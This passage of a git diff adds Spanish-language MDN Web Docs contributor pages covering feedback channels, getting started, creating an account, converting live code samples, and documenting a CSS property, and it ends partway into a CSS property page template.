+ <li><a href="http://blog.gerv.net/2012/10/how-to-be-a-mozillia/">Cómo ser un Mozillian</a></li>
+</ul>
diff --git a/files/es/mdn/contribute/feedback/index.html b/files/es/mdn/contribute/feedback/index.html
new file mode 100644
index 0000000000..780639f8f2
--- /dev/null
+++ b/files/es/mdn/contribute/feedback/index.html
@@ -0,0 +1,46 @@
+---
+title: Enviar feedback sobre MDN
+slug: MDN/Contribute/Feedback
+translation_of: MDN/Contribute/Feedback
+---
+<div>{{MDNSidebar}}</div>
+
+<p>{{IncludeSubnav("/es-ES/docs/MDN")}}</p>
+
+<p>¡Bienvenido a la Red de Desarrolladores de Mozilla! si tienes algunas sugerencias, o estás teniendo problemas usando MDN, estás en el lugar correcto.<span class="seoSummary"> El mismo hecho de que muestres interés en ofrecer feedback, te hace más parte de la comunidad de Mozilla, y te agradecemos de antemano tu interés.</span></p>
+
+<p><span class="seoSummary">Tienes varias opciones parar ofrecer tu punto de vista, este artículo te ayudará.</span></p>
+
+<h2 id="Actualizar_la_documentación">Actualizar la documentación</h2>
+
+<p>Para empezar, si has localizado un problema en la documentación, deberías sentirte libre de corregirlo tú mismo. Simplemente <a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">regístrate</a> usando <a href="https://github.com/">Github</a>, luego haz click en cualquier botón <strong>Editar</strong> azul para abrir el <a href="/en-US/docs/MDN/Contribute/Editor">editor</a> e ingresar en el mundo de la contribución en la documentación MDN. La documentación aquí es una wiki, y está supervisada por un equipo de voluntarios y personal pagado, así que no seas tímido; tu gramática no tiene por qué ser perfecta. Arreglaremos cualquier error que puedas cometer; ¡No vas a estropear nada!</p>
+
+<p>Para obtener más información sobre comó contribuir a la documentación MDN consulte:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Project:Getting_started" title="/en-US/docs/Project:Getting_started">Comenzando</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute">Contribuir a MDN</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Editor" title="/en-US/docs/Project:MDN_editing_interface">La interfaz de edición MDN</a></li>
+</ul>
+
+<h2 id="Únete_a_la_conversación">Únete a la conversación</h2>
+
+<p>¡Háblanos! Existen varias maneras de conectar con otras personas que ya están trabajando concontenido MDN.</p>
+
+<h3 id="Chat_Síncrono">Chat (Síncrono)</h3>
+
+
+
+<h3 id="Discusiones_Asíncrono">Discusiones (Asíncrono)</h3>
+
+<p>Las discusiones más a largo plazo ocurren en <a href="https://discourse.mozilla-community.org/c/mdn">el foro de discusión de MDN</a>. Puedes postear en el foro bien por email escribiendo a <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>. Si te unes al foro, podrás recibir notificaciones de las discusiones, directamente en tu email.</p>
+
+<h2 id="Informa_de_un_problema">Informa de un problema</h2>
+
+<h3 id="Problemas_de_documentación">Problemas de documentación</h3>
+
+<p>Si ves un problema en la documentación que por cualquier razón, no puedas arreglar tú mismo, siempre puedes <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report" title="Report a documentation content problem.">informar del problema</a>. Puedes utilizar este formulario para cualquier problema relacionado con documentación, tanto si se trata de una correción simple o de una solicitud para una nuevo fragmento de contenido. Como se ha mencionado con anterioridad, te invitamos a que contribuyas con cambios de tu propia cosecha, pero esta opción está igualmente disponible.</p>
+
+<h3 id="Problemas_en_la_web">Problemas en la web</h3>
+
+<p>Si encuentras problema de el sitio web de MDN, o tienes cualquier idea para nuevas funcionalidades para este sitio, puedes <a href="https://bugzilla.mozilla.org/form.mdn">enviar un ticket al equipo de desarrollo de MDN</a>.</p>
diff --git a/files/es/mdn/contribute/getting_started/index.html b/files/es/mdn/contribute/getting_started/index.html
new file mode 100644
index 0000000000..1c1297b806
--- /dev/null
+++ b/files/es/mdn/contribute/getting_started/index.html
@@ -0,0 +1,142 @@
+---
+title: Primeros pasos en MDN
+slug: MDN/Contribute/Getting_started
+tags:
+  - Comenzando
+  - Getting Started
+  - Guía
+  - New Contributors
+  - Nuevos Colaboradores
+translation_of: MDN/Contribute/Getting_started
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/es/docs/MDN")}}</div>
+
+<p><span style="line-height: 1.5;">Somos una comunidad abierta de desarrolladores y escritores que crea recursos para tener una mejor Web sin importar la marca, navegador o plataforma. Cualquiera puede contribuir y cada persona que lo hace nos vuelve más fuertes. Juntos podemos continuar innovando la Web para servir al bien común. Esto empieza aquí, contigo.</span></p>
+
+<p><span class="seoSummary">Cada parte de MDN (desde el código que permite funcionar al sitio hasta la documentación; ejemplos, y demos) son creados por una comunidad de desarrolladores y escritores. Todos pueden ayudar en algo, y tenemos la esperanza de que te unas.</span></p>
+
+<h2 id="3_simples_pasos_hacia_MDN"><span>3 simples pasos hacia MDN</span></h2>
+
+<p>MDN es una wiki, donde <strong>cualquiera</strong> puede agregar y editar contenido. No necesitas ser programador o saber mucho sobre tecnología. Hay muchas actividades que necesitan ser completadas, desde tareas simples como revisar la redacción o la ortografía, hasta tareas complejas como escribir la documentación para una API. Esta guía te ayudará a empezar y te conducirá por el camino para que encuentres formas de mejorar el contenido de MDN.</p>
+
+<p>Contribuir es fácil e inofensivo. Si cometes un error, es fácil corregirlo. Y aunque no estés seguro de cómo debe ser el contenido o tu ortografía no sea muy buena, no debes preocuparte. Tenemos un equipo que revisa el contenido de MDN y se asegura de que esté lo más correcto posible. Alguien estará al tanto para verificar que tu trabajo esté ordenado y bien escrito. Comparte lo que sabes y usa tus talentos. Confía en que la comunidad ayudará a mejorar tu trabajo.</p>
+
+<h3 id="Paso_1_Crea_una_cuenta_en_MDN">Paso 1: Crea una cuenta en MDN</h3>
+
+<p>Para comenzar a contribuir en MDN, necesitas tener una cuenta. Para más detalles, por favor dirígete a <a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Howto/Crear_cuenta_MDN">crear una cuenta</a>. Ten en cuenta que necesitarás una cuenta de <a href="https://github.com/join">Github</a> para crear una cuenta en MDN ya que en este momento utilizamos Github para verificar las cuentas de MDN.</p>
+
+<h3 id="Paso_2_Elige_en_qué_quieres_contribuir">Paso 2: Elige en qué quieres contribuir</h3>
+
+<p>Una vez iniciada la sesión en MDN, lee las descripciones de los distintos tipos de tareas en la sección {{anch("Tipos de tareas")}} que se encuentra más abajo en esta misma página y elige la que mejor te parezca. Puedes hacer clic en cualquier tarea que sea de tu interés para empezar a contribuir.</p>
+
+<p>Si la tarea elegida implica crear páginas nuevas, te pedimos por favor que leas <a href="https://wiki.developer.mozilla.org/es/docs/Project:MDN/Contribuyendo/Creando_y_editando_p%C3%A1ginas#Obteniendo_permisos_de_creaci%C3%B3n_de_p%C3%A1gina">Obteniendo permisos de creación de página</a> donde encontrarás información importante acerca de cómo obtener permiso para crear nuevas páginas; por razones de seguridad, las cuentas nuevas tienen deshabilitada esta funcionalidad por defecto.</p>
+
+<h3 id="Paso_3_Lleva_a_cabo_la_tarea">Paso 3: Lleva a cabo la tarea</h3>
+
+<p>Una vez que hayas decidido en qué quieres contribuir, busca una página, ejemplo de código, etc. en la cual quieras trabajar y ¡hazlo!</p>
+
+<p>No te preocupes por hacerlo perfecto, hay otros colaboradores de MDN como tú que pueden ayudar a corregir los errores que hayan pasado inadvertidos. Si surgen preguntas mientras realizas la actividad, revisa la página de la <a href="/es/docs/MDN/Comunidad">comunidad</a> para obtener información acerca de las listas de correo y chats donde puedes realizar tus preguntas.</p>
+
+<div class="note">
+<p>Si te sientes inseguro de editar una página, quieres practicar o quieres realizar algún experimento, tenemos una <strong><a href="https://developer.mozilla.org/es/docs/Sandbox">página de pruebas</a></strong> que puedes editar sin ninguna preocupación. Dentro de esa página haz clic en editar y simplemente experimenta. Te pedimos de favor que solo experimentes en esa página y no hagas ningún cambio innesesario a las demás paginas solo para ver que sucede ya que podrías confundir a otros lectores que visiten MDN y cargar con trabajo innecesario a otros editores.</p>
+</div>
+
+<p>Cuando hayas completado la tarea que elegiste, puedes continuar con otra o ver más abajo <a href="https://developer.mozilla.org/es/docs/MDN/Comenzando#Otras_actividades_que_puedes_realizar_en_MDN">otras actividades que puedes realizar en MDN</a>.</p>
+
+<h2 id="Tipos_de_tareas">Tipos de tareas</h2>
+
+<p>Hay muchos caminos que puedes elegir para contribuir a MDN dependiendo de tus habilidades e intereses. Existen algunas tareas que son pesadas, pero tenemos otras muchas simples disponibles de las cuales muchas de ellas solo necesitan cinco minutos (¡o menos!) de tu tiempo. Aquí debajo encontrarás los tipos de tareas y al lado del nombre de cada una de ellas verás el tiempo aproximado necesario para realizarla.</p>
+
+<h3 id="Opción_1_Me_gustan_las_palabras">Opción 1: Me gustan las palabras</h3>
+
+<p>Puedes ayudarnos revisando o editando los documentos ya existentes y ponerles las etiquetas correctas.</p>
+
+<ul>
+ <li><a href="/es/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page">Crear el sumario de una página</a> (5 - 15 minutos)</li>
+ <li><a href="/es/docs/MDN/Contribute/Howto/revision_editorial">Corregir redacción y ortografía</a> (5 - 30 minutos)</li>
+ <li><a href="/es/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Agregar un nuevo término al glosario</a> (5 minutos- 1 hora)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Write an article to help people learn about the web</a> (no disponible en español)</li>
+ <li><a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Howto/Tag">Añadir/Eliminar etiquetas de una página</a> (15 - 60 minutos)</li>
+</ul>
+
+<div class="note">Si vas a crear una nueva página/articulo te recomendamos leer la <a href="/en-US/docs/MDN/Contribute/Guidelines/Style_guide">Style Guide</a> (en inglés) para que conozcas los detalles y la estructura recomendada de las páginas. Y si corriges la ortografía, redacción, de algún artículo, puedes leer la <a href="/es/docs/Project:Guía_de_estilo">Guía de Estilos</a> si tienes alguna duda. Buscamos que todos los artículos sean consistentes en el sitio.</div>
+
+<h3 id="Opción_2_Me_gusta_el_código_fuente">Opción 2: Me gusta el código fuente</h3>
+
+<p>¡Necesitamos más ejemplos de código! o también puedes ayudar a construir la plataforma de nuestro sitio: <a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Kuma">Kuma</a> o puedes ayudar a actualizar la compatibilidad de navegadores en nuestra base de datos</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live">Crea ejemplos interactivos de código fuente</a> (30 minutos)</li>
+ <li><a href="https://wiki.mozilla.org/Webdev/GetInvolved/developer.mozilla.org">Lee la guía para colaborar a la plataforma Kuma</a> (en inglés)</li>
+ <li><a href="https://kuma.readthedocs.io/en/latest/installation.html">Configurar las herramientas de desarrollo para Kuma</a> (en inglés)</li>
+ <li><a href="https://github.com/mozilla/kuma#readme">Send your code patch to the Kuma codebase</a> (en inglés)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Add_or_update_browser_compatibility_data">Add or update browser compatibility data</a> (en inglés)</li>
+</ul>
+
+<h3 id="Opción_3_Me_gustan_las_palabras_y_el_código_fuente">Opción 3: Me gustan las palabras y el código fuente</h3>
+
+<p>Tenemos tareas que requieren conocimiento del idioma y habilidades técnicas como crear nuevos artículos, verificar la información técnica o adaptar documentos.</p>
+
+<ul>
+ <li><a href="/es/docs/MDN/Promociona">Promociona MDN en tu propia página web</a> (5 minutos)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Remove__Experimental__Macros">Remove "experimental" macros</a> from items that are no longer experimental (5-30 minutos)</li>
+ <li><a href="/es/docs/MDN/Contribute/Howto/revision_tecnica">Realizar una revisión técnica</a> (30 minutos)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Contribute_to_docs_that_are_currently_needed">Write a new article on a topic that is currently needed</a> (en inglés)</li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Project:MDN/Contribuyendo/Creando_y_editando_p%C3%A1ginas">Write un articulo nuevo de un tópico que te sea familiar</a> (1 hora o más)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Crear un ejercicio interactivo para ayudar a otras personas a que aprendan sobre la web</a> (en inglés)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Resolve_a_mentored_developer_doc_request">Fix a documentation bug</a> from the <a href="http://www.joshmatthews.net/bugsahoy/?mdn=1">MDN category in Bugs Ahoy</a> (en inglés)</li>
+</ul>
+
+<h3 id="Opción_4_MDN_en_mi_idioma">Opción 4: MDN en mi idioma</h3>
+
+<p>Todo el trabajo de adaptación y traducción en MDN es realizado por nuestra asombrosa comunidad de voluntarios.</p>
+
+<ul>
+ <li><a href="/es/docs/Project:Translating_MDN_pages">Traducir/adaptar páginas</a> (2 horas)</li>
+ <li>Contactar a otros colaboradores que hablen español <a href="/en-US/docs/Project:MDN/Localizing/Localization_projects">Proyectos de localización</a> (30 minutos)</li>
+</ul>
+
+<div class="note">
+<p>Puedes revisar las páginas importantes que necesitan traducción aquí -&gt; <a href="/es/docs/MDN/Doc_status/l10nPriority">Estado de las paginas con prioridad para traducir</a> y te recomendamos leer la <a href="/es/docs/Project:Guía_de_estilo">Guía de Estilos</a> para que conozcas las convenciones a la hora de traducir.</p>
+</div>
+
+<h3 id="Opción_5_Encontré_información_errónea_pero_no_sé_cómo_corregirla">Opción 5: Encontré información errónea pero no sé cómo corregirla</h3>
+
+<p>Puedes reportar problemas <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">creando un reporte de error de la documentación</a> (en inglés).</p>
+
+<p>Usa estos valores:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Campo de Bugzilla</strong></td>
+   <td><strong>Valor</strong></td>
+  </tr>
+  <tr>
+   <td><code>product</code></td>
+   <td><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Developer+Documentation">Developer Documentation</a></td>
+  </tr>
+  <tr>
+   <td><code>component</code></td>
+   <td>[Escoge el área apropiada al tema, o "General" si no estás seguro o no encuentras el indicado]</td>
+  </tr>
+  <tr>
+   <td><code>URL</code></td>
+   <td>La dirección URL de la página donde encontraste el problema</td>
+  </tr>
+  <tr>
+   <td><code>Descripción</code></td>
+   <td>Describir el problema y donde encontrar la información correcta. Esto puede incluir personas ("Describe los pasos uno a uno") como también links a direcciones web</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Otras_actividades_que_puedes_realizar_en_MDN">Otras actividades que puedes realizar en MDN</h2>
+
+<ul>
+ <li><a href="/es/docs/MDN/Comunidad">Únete a la comunidad de MDN</a>.</li>
+ <li><a href="/en-US/profile">Añade información a tu perfil</a> para que otros colaboradores puedan conocerte mejor.</li>
+ <li>Aprende más sobre <a href="/es/docs/MDN/Contribute">cómo contribuir a MDN</a>.</li>
+</ul>
diff --git a/files/es/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/es/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
new file mode 100644
index 0000000000..699828214a
--- /dev/null
+++ b/files/es/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
@@ -0,0 +1,44 @@
+---
+title: Cómo convertir códigos de demostración para que estén "en vivo"
+slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live
+tags:
+  - Código
+  - Demostración
+  - Sample
+translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live
+---
+<div>{{MDNSidebar}}</div><p class="summary">MDN tiene ahora un sistema de "ejemplos en vivo", donde el código de demostración que aparece en la página se usa directamente para mostrar el resultado de dicho ejemplo. Sin embargo, muchos artículos existentes tienen ejemplos que todavía no usan este sistema y necesitan ser convertidos.</p>
+
+<table class="full-width-table">
+ <tbody>
+  <tr>
+   <td><strong>¿Dónde hay que hacerlo?</strong></td>
+   <td>En artículos etiquetados como <a href="/en-US/docs/tag/NeedsLiveSample">NecesitaMuestraEnVivo</a><span style="line-height: 1.5;"> (</span><a style="line-height: 1.5;" href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a>)</td>
+  </tr>
+  <tr>
+   <td><strong>¿Qué necesitas saber para hacer esta tarea?</strong></td>
+   <td>
+    <ul>
+     <li>Entender HTML, CSS y/o JavaScript, dependiendo del código de muestra que sea.</li>
+     <li>Habilidad para usar macros <a href="https://developer.mozilla.org/es/docs/Project:MDN/Kuma/Introduction_to_KumaScript">KumaScript</a> dentro de los artículos MDN.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>¿Cuáles son los pasos para hacer la tarea?</strong></td>
+   <td>
+    <p>Para una descripción completa del sistema de demostración en vivo, incluyendo cómo crear las demostraciones en vivo, ver <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide/Live_samples">Usar el sistema de demostración en vivo</a>.</p>
+
+    <ol>
+     <li>Elige un artículo de la lista de artículos etiquetados como <a style="text-decoration: underline;" href="/en-US/docs/tag/NeedsLiveSample">NecesitaMuestraEnVivo</a> (<a href="/en-US/docs/tag/NeedsLiveSample">NeedsLiveSample</a>), donde el código sea para una característica con la que sientas que estas familiarizado.</li>
+     <li>Convierte el código para que sea "en vivo".</li>
+     <li>Borra cualquier código o imagen que haya sido usada para mostrar el resultado de la demostración.</li>
+    </ol>
+
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/howto/crear_cuenta_mdn/index.html b/files/es/mdn/contribute/howto/crear_cuenta_mdn/index.html
new file mode 100644
index 0000000000..8e254f6ac0
--- /dev/null
+++ b/files/es/mdn/contribute/howto/crear_cuenta_mdn/index.html
@@ -0,0 +1,32 @@
+---
+title: Cómo crear una cuenta MDN
+slug: MDN/Contribute/Howto/Crear_cuenta_MDN
+tags:
+  - Cuenta
+  - GitHub
+  - Perfil
+  - Persona
+  - Principiante
+  - account
+translation_of: MDN/Contribute/Howto/Create_an_MDN_account
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Para editar contenido en MDN, necesitas un perfil MDN. No es necesario un perfil si solo quieres buscar y leer los documentos de MDN:</p>
+
+<ol>
+ <li>En la parte superior de cada página en MDN encontrarás el botón de  <strong>Registrarse</strong>. Pasa el puntero del mouse por ahí (o toca sobre este botón si estás con un dispositivo móvil) para mostrar una lista de servicios de autenticación que son permitidos para registrarse en MDN.</li>
+ <li>Selecciona el servicio para registrarte. Actualmente, solo GitHub y Gmail están disponibles. Ten en cuenta que si seleccionas GitHub, un enlace a tu perfil de GitHub será incluido en tu página de perfil público de MDN.</li>
+ <li><span id="result_box" lang="es"><span>Sigue las indicaciones de GitHub o de Gmail para conectar tu cuenta a MDN.</span></span></li>
+ <li><span lang="es"><span>Una vez autenticado el servicio te retorna a MDN, se te pedirá que ingreses un nombre de usuario y una dirección de correo electrónico. <em>Tu nombre de usuario será mostrado públicamente para darte el crédito del trabajo que has hecho. No utilices tu dirección de correo electrónico como nombre de usuario. </em></span></span></li>
+ <li>Click en <strong>Crear mi perfil MDN.</strong></li>
+ <li>Si la dirección de correo electrónico que has especificado en el paso 4 no es el mismo que has utilizado  con el servicio de autenticación, revisa tu correo y dale click en el enlace en el correo de confirmación que se te envió.</li>
+</ol>
+
+<p>¡Listo! <span id="result_box" lang="es"><span>¡Ya tienes una cuenta MDN y puedes editar páginas inmediatamente!</span></span></p>
+
+<p><span lang="es"><span>Puedes dar clic en tu nombre en la parte superior de cualquier página de MDN para ver tu perfil público. Desde ahí, puedes editar, hacer cambios o adicionar información en tu perfil.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Los nuevos nombres de usuario no pueden contener espacios ni el carácter "@". Ten en cuenta que tu nombre de usuario será mostrado públicamente para identificar los trabajos que hayas hecho!</p>
+</div>
diff --git a/files/es/mdn/contribute/howto/document_a_css_property/index.html b/files/es/mdn/contribute/howto/document_a_css_property/index.html
new file mode 100644
index 0000000000..41b3fcb14f
--- /dev/null
+++ b/files/es/mdn/contribute/howto/document_a_css_property/index.html
@@ -0,0 +1,82 @@
+---
+title: Cómo documentar una propiedad CSS
+slug: MDN/Contribute/Howto/Document_a_CSS_property
+translation_of: MDN/Contribute/Howto/Document_a_CSS_property
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p>As the <a href="/en-US/docs/Web/CSS">CSS</a> standards evolve, new properties are always being added. The MDN <a href="/en-US/docs/Web/CSS/Reference">CSS Reference</a> needs to be kept up to date with these developments. This document gives step-by-step instructions for creating a CSS property reference page.</p>
+
+<p>Each CSS property reference page follows the same structure. This helps readers find information more easily, especially once they are familiar with the standard reference page format.</p>
+
+<h2 id="Step_1_—_Decide_which_property_to_document">Step 1 — Decide which property to document</h2>
+
+<p>First, you will need to decide which property to document. The <em>CSS Documentation status</em> page lists properties that <a href="/en-US/docs/Web/CSS/Documentation_status#Missing_pages">need to be documented</a>. For details about the CSS property you will need to find a relevant specification for it (e.g., a <a href="http://www.w3.org/Style/CSS/">W3C specification</a>, a <a href="https://wiki.mozilla.org">Mozilla Wiki page</a>, or a bug report for a non-standard property used in rendering engines like Gecko or Blink).</p>
+
+<div class="note">
+<p><strong>Pro tips:</strong></p>
+
+<ul>
+ <li>When using a W3C spec, always use the <strong>Editor's Draft</strong> (note the red banner on the left side) and not a published version (e.g. Working Draft). The Editor's Draft is always closer to the final version!</li>
+ <li>If the implementation and spec diverge, feel free to mention it in the implementation bug: it may be a bug in the implementation (and a follow-up bug will be filed), a delay in the publication of a new spec, or an error in the spec (in which case a spec bug is worth filing).</li>
+</ul>
+</div>
+
+<h2 id="Step_2_—_Check_the_database_of_CSS_properties">Step 2 — Check the database of CSS properties</h2>
+
+<p>Several characteristics of a CSS property, such as its syntax or if it can be animated, are mentioned in several pages and are therefore stored in an ad-hoc database. Macros that you'll use on the page need information about the property that is stored there, so start by <a href="/en-US/docs/MDN/Contribute/Howto/Update_the_CSS_JSON_DB">checking that this information is there</a>.</p>
+
+<p>If not, contact an admin or a power user, either on the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a>, or, if nobody is available, by <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md">filing an issue report</a>.</p>
+
+<h2 id="Step_3_—_Creating_the_CSS_property_page">Step 3 — Creating the CSS property page</h2>
+
+<p>Preparations finished! Now we can add the actual CSS property page. The easiest way to create a new CSS property page is to copy the content of an existing page and to edit it. We will go through the different steps now.</p>
+
+<div class="note">
+<p>Cloning a page is currently broken on MDN. That's why we need to go through these somewhat more complex steps. Please vote for ({{bug(870691)}}).</p>
+</div>
+
+<ol>
+ <li>Clone the <a href="/en-US/docs/MDN/Contribute/Howto/Document_a_CSS_property/Property_template">following page</a>, set the title to <em>your-property</em> (without capitals) and the slug to <code>Web/CSS/<em>your-property</em></code><em>.</em></li>
+ <li>Change the summary to fit, but keep it starting the same way : "The <em><code>your-property</code></em> <a href="/en-US/docs/Web/CSS">CSS</a> property…". Explain briefly what this property is for.</li>
+ <li>If the property is not experimental, remove the <code>\{{SeeCompatTable}}</code> macro. The purpose of this macro is to alert developers to the possibility that the feature may not yet have consistent support across browsers, and may change in the future as its specificaton evolves. Deciding whether a feature is experimental is a matter of judgement, and should include factors like:
+  <ul>
+   <li>Is the feature supported by several browsers?</li>
+   <li>Is the feature prefixed or behind a preference?</li>
+   <li>Is there any reason to think that the implementation of the feature will change in the future?</li>
+  </ul>
+ </li>
+ <li>Replace the parameter of the <code>\{{cssinfo("animation-name")}}</code> macro by the name of the CSS property you are documenting. This will allow you to build the summary box using the data you entered in step 2.</li>
+ <li>Replace the example of the syntax by relevant ones. Keep them very simple and don't forget that a lot of people don't understand a formal syntax so it needs to be simple and exhaustive. Keep the <code>inherit</code>, <code>initial</code>, and <code>unset</code> keywords examples at the end. It reminds users that these are valid values, too.</li>
+ <li>Under the chapter <em>Values</em>, put the meaning of each value. If it is a keyword, don't forget to mark it as code (select it and press <code>CTRL-O</code>). Each description should start by "Is a" followed by the type of the value, or indicating it is a keyword.</li>
+ <li>Clear the <em>Examples</em> chapter, we will add them at the end!</li>
+ <li>Update the specification table. For information about how to do it, read this <a href="/en-US/docs/MDN/Contribute/Structures/Specification_tables">tutorial</a>.</li>
+ <li>Update the compatibility information. For information about how to do it, read this <a href="/en-US/docs/MDN/Contribute/Structures/Compatibility_tables">tutorial</a>.</li>
+ <li>Update the <em>See also</em> section with relevant links. Do not link to specs here and usually link to internal documents. External documents are welcome, but only if they bring really good information. There are spam or SEO links often, so don't worry if external links are removed sometimes. Just start the discussion if you still find it useful and want to see it back.</li>
+ <li>Add the relevant tags: you need to add <code>CSS</code>, <code>CSS Property</code>, and <code>Reference.</code> You also need to add <code>Experimental</code> or <code>Non-standard</code> if this is the case. Finally you also need to add a <code>CSS XYZ</code> tag, where XYZ stands for the group of CSS properties it belongs to. It is often the spec short name. All these tags are used to generate quicklinks and other niceties.</li>
+</ol>
+
+<p>At any point, you can save by hitting the <code>SAVE</code> button. You can continue to edit right along. If you haven't saved your page until now, please do so! :-)</p>
+
+<p>The last step is to add <em>Examples</em>. To do that follow this <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide/Live_samples">tutorial about live samples</a>. Don't forget that we are in a document explaining one single property: you need to add examples that show how this property is working in isolation, not how the whole specification is used. That means, examples for <code>list-style-type</code> will show what the different values generate, but not how to combine it with other property, pseudo-classes or pseudo-elements to generate nice effects; tutorials and guide can be written to show more.</p>
+
+<h2 id="Step_4_—_Getting_a_review">Step 4 — Getting a review</h2>
+
+<p>You have documented your CSS property! Congratulations!</p>
+
+<p>In order to have a good quality and consistency throughout the MDN CSS reference, it is good practice to request a review. Just click on the checkbox at the bottom of the article (in edit mode), and, optional, if you want to have a more personal review helping you to improve editorial skills, ask for it on the <a href="https://discourse.mozilla-community.org/c/mdn">MDN forum</a>.</p>
+
+<h2 id="Step_5_—_Integrating_the_new_page_in_the_MDN">Step 5 — Integrating the new page in the MDN</h2>
+
+<p>Now that your page is created, you want it to be found by the readers. Adding tags helped about this already as it allowed it to appear in the quicklinks to related CSS pages. Also you want it to appear on the <a href="/en-US/docs/Web/CSS/Reference">CSS index page</a>. If the newly documented property is on the standard track and at least one major browser is implementing it, it deserves to be listed this. Only administrator can add it there, so contact the CSS driver on IRC (currently at #mdn ping teoli) or file a documentation bug requesting it.</p>
+
+<p>Also, if the property is implemented by Firefox, you need to check that it is listed, and linked! in the correct <a href="/en-US/Firefox/Releases">Firefox for developers</a> MDN page. The new CSS property is likely already listed in the HTML section, just be sure that its name links back to your newly created page.</p>
+
+<h2 id="Contact_us">Contact us</h2>
+
+<ul>
+ <li>On IRC: <a href="irc://irc.mozilla.org/mdn">#mdn</a></li>
+ <li><a href="https://discourse.mozilla.org/c/mdn">Discourse</a></li>
+</ul>
diff --git a/files/es/mdn/contribute/howto/document_a_css_property/plantilla_propiedad/index.html b/files/es/mdn/contribute/howto/document_a_css_property/plantilla_propiedad/index.html
new file mode 100644
index 0000000000..a0bdd5267f
--- /dev/null
+++ b/files/es/mdn/contribute/howto/document_a_css_property/plantilla_propiedad/index.html
@@ -0,0 +1,120 @@
+---
+title: Plantilla de página para propiedades CSS
+slug: MDN/Contribute/Howto/Document_a_CSS_property/Plantilla_propiedad
+translation_of: MDN/Contribute/Howto/Document_a_CSS_property/Property_template
+---
+<div>{{MDNSidebar}}</div><div class="note">Esta es una página plantilla para las propiedades de CSS. Por favor utilice esto como una plantilla base cuando vaya a crear una nueva página para una propiedad de CSS. <br>
+<em>Los comentarios en cursiva son información  sobre cómo usar parte de la plantilla</em></div>
+
+<div>{{CSSRef}}</div>
+
+<div><em>Agregue el encabezado no estándar si la propiedad no esta en el estándar. En la sección de resumen en una nota, describa como lograr su efecto usando tecnologías estándares de la Open Web.</em></div>
+
+<div>{{non-standard_header}}</div>
+
+<div> </div>
+
+<div><em>Agregue el encabezado experimental si a su juicio es probable que el comportamiento de la propiedad cambie en el fututo, por ejemplo; debido a especificaciones muy inmaduras o implementaciones incompatibles.</em></div>
+
+<div>{{SeeCompatTable}}</div>
+
+<p> </p>
+
+<p><em>Desripción de la propiedad. Debe comenzar por "La propiedad <code>xyz</code> CSS " seguido de una descripción de una oración. El primer párrafo de esta introducción se utilizará por defecto como la descripción de la página.</em></p>
+
+<p>{{note("Para cualquier mensaje especial")}} <em>Pero no agregue varias notas. Estas deben ser realmente importantes, ¡o ser parte de la decripción!</em></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: css">/* Valores de palabras clave */
+property: value1;
+property: value2;
+
+/* &lt;longitud&gt; valores */
+property: 12.8em;   /* Una longitud válida */
+
+/* Valores globales */
+property: inherit;   &lt;-- Para recordar que son valores posibles
+property: initial;
+property: unset;
+</pre>
+
+<p><em>La segunda parte es una traducción simple de lo que dice la sintaxis formal. Está dirigido a usuarios de nivel medio que no comprenderán bien la sintaxis formal. </em></p>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<p><em>Cada elemento de la sintaxis formal debe ser explicado</em></p>
+
+<dl>
+ <dt><code>valor_1</code></dt>
+ <dd>Es una palabra clave que significa...</dd>
+ <dt><code>valor_2</code> {{ Non-standard_inline() }} {{experimental_inline()}}</dt>
+ <dd>Es una palabra clave que significa</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<p><em>La sintaxis formal debe ser tomada de la especificación y agregarse a la plantilla de 'CSSData'. Es una herramienta importante para obtener información precisa de la sintaxis para los usuarios avanzados.</em></p>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
